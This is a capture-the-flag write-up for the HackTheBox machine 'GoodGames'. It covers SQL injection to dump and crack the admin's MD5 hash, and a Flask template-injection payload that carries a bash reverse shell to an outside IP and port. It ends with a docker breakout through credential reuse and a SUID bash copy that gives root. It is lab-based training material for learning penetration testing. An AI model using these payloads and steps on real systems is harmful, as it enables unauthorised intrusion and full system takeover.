GoodGames

Metadata

• Platform: HackTheBox
• CTF: GoodGames
• OS: Linux
• Difficulty: Easy

Summary

A blog website suffers from a SQL injection vulnerability. By abusing this, we can extract the administrator’s password hash. After cracking it, we can log into another website, hosted by a flask application. Due to improper input sanitization, we can inject a reverse shell into the site template, to gain a foothold to a docker container with root privileges.

Since the docker instance has network access to the system outside the container, we discover an SSH server on the main target. Due to reuse of credentials we can break out of the docker container and log into the system. Lastly, we abuse a mounted directory of the docker container to set the SUID of a bash binary copy, which grants us full control over the target.

Solution

Reconnaissance

According to an initial Nmap scan, this machine only exposes one service:

nmap -sC -sV 10.10.11.130 -p- -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-22 11:03 CET
Nmap scan report for 10.10.11.130
Host is up (0.042s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.9.2)
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2

On the web server, we can find a partially interactive blog about video games.

User Flag

The blog has a log-in functionality. Since there doesn’t seem to be anything else we can on this page, let’s create a new account and log into it. However, once we are granted access, there are still no new features we might be able to leverage. Maybe there is some way we can trick this process and gain access to the admin account. Changing the cookie does not yield anything, however with trial and error, we can find a logic error in the registration process. If we create a new account with the name admin. Now there is a different button at the top right. It seems like we have overwritten/impersonated the admin account by naming our account the same.

If we click on that button, it takes us to http://internal-administration.goodgames.htb/login. To reach this site, we should add both domains to our /etc/hosts file. This page contains a log-in panel to a Flask application.

However, currently we don’t have any credentials for this. It’s likely that we need to go back and try to retrieve these credentials elsewhere. Maybe the login on the blog site is vulnerable to SQL injections. Let’s use SQLmap and check this. When we are prompted, it’s important to NOT follow the redirect.

sqlmap -r request.txt --dump
 
[...]
[3 entries]
+----+---------------------+----------+----------------------------------+
| id | email               | name     | password                         |
+----+---------------------+----------+----------------------------------+
| 1  | admin@goodgames.htb | admin    | 2b22337f218b2d82dfc3b6f77e7cb8ec |
| 2  | test@test.com       | test1234 | 16d7a4fca7442dda3ad93c9a726597e4 |
| 3  | test2@test.com      | admin    | 16d7a4fca7442dda3ad93c9a726597e4 |
+----+---------------------+----------+----------------------------------+
[...]

We have discovered three md5 hashes, one of which is the administrator hash, the other two are the accounts I made for testing. By using Hashcat, we can get the password.

hashcat hash -m 0 /usr/share/wordlists/rockyou.txt
 
[...]
2b22337f218b2d82dfc3b6f77e7cb8ec:superadministrator
[...]

These credentials also work for the internal login page.

On this site there is not much to interact with. Still, we have the option to change the name of our compromised user. Since we know is a python app (flask), its possible that we can trigger a template injection. Let’s test this with a simple injection payload such as {{7*7}}.

Now the name of our account equals the evaluated expression of 49, and not the query we entered, meaning our suspicion was correct. Now we only need an adequate payload. First, let generate a reverse shell.

bash -c 'bash -i >& /dev/tcp/10.10.16.9/4444 0>&1'

This is the OS command. We need to embed it into a payload, which will trigger an OS command as part of the template. From this GitHub issue, we can see how a payload for a flask template can look like. For the shell from before, we need to ensure that we escape the relevant characters, so the OS command is actually transferred to the system call. The final payload look like this:

{{self.__init__.__globals__.__builtins__.__import__('os').popen('bash+-c+\'bash+-i+>%26+/dev/tcp/10.10.16.9/4444+0>%261\'').read()}}

After setting up the Netcat listener, we get a callback and can claim the user flag.

91cea17d664356fa3303b7341253661b

Root Flag

When we go back the main directory in which we spawned (/backend) we can find a Dockerfile, meaning we are likely stuck in a docker container, from which we need to break free. By using mount we can also see several mounted directories, some of which are mounted from outside the docker container, such as the home directory of augustus we visited before.

If we check the network config of this container, we can get its IP.

ip a
 
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.19.0.2/16 brd 172.19.255.255 scope global eth0
       valid_lft forever preferred_lft forever
 

This container uses 172.19.0.2. It is therefore likely, that the main docker instance on the device uses 172.19.0.1.

Right now it’s tricky to enumerate this other host on the network, since we don’t have access to any applications in the docker container. We could use a binary to tunnel our traffic, but that’s overkill for this task. Instead, let’s enumerate the new target by downloading a static binary of Nmap. After transferring it with a python http-server, we can scan the target.

./nmap 172.19.0.1
 
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2025-02-22 13:37 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.19.0.1
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.000019s latency).
Not shown: 1205 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:42:9A:A3:CA:FD (Unknown)

An open SSH port is always a great opportunity to try to reuse credentials. However, to log into such a service, we require in interactive shell, so let’s upgrade ours.

python -c 'import pty; pty.spawn("/bin/bash")'

We get a successful login as augustus.

Basic enumeration for privilege escalation regarding sudo and SUID does not yield any results. However, we know that the user home directory is mounted in the docker container, to which we already had root access from within the container. The easiest way would be, that we copy a binary in this folder from outside the docker container and use the root privileges from inside the docker container to can set high privileges for our user on this binary. The easiest target is bash.

For this, we need to copy the binary from outside the container into the home directory (we can copy the bash binary from inside the docker too, but this will lead to library loading issues, since the binary is dynamically linked. The easiest way is to always use the binary, which we can already execute).

cp /bin/bash /home/augustus/bash

Afterwards, terminate the SSH connection and use our root access within the container to set the SUID for the root user on the bash binary.

chown root bash
chmod 4777 bash

Now, change back into the SSH session outside the container, and execute the binary as sudo by using the -p flag. Without it, the session will start as augustus, which we don’t want.

./bash -p

Instead, we now have a root shell and can claim the flag.

106eecfac270fcebd13133c24f8faaec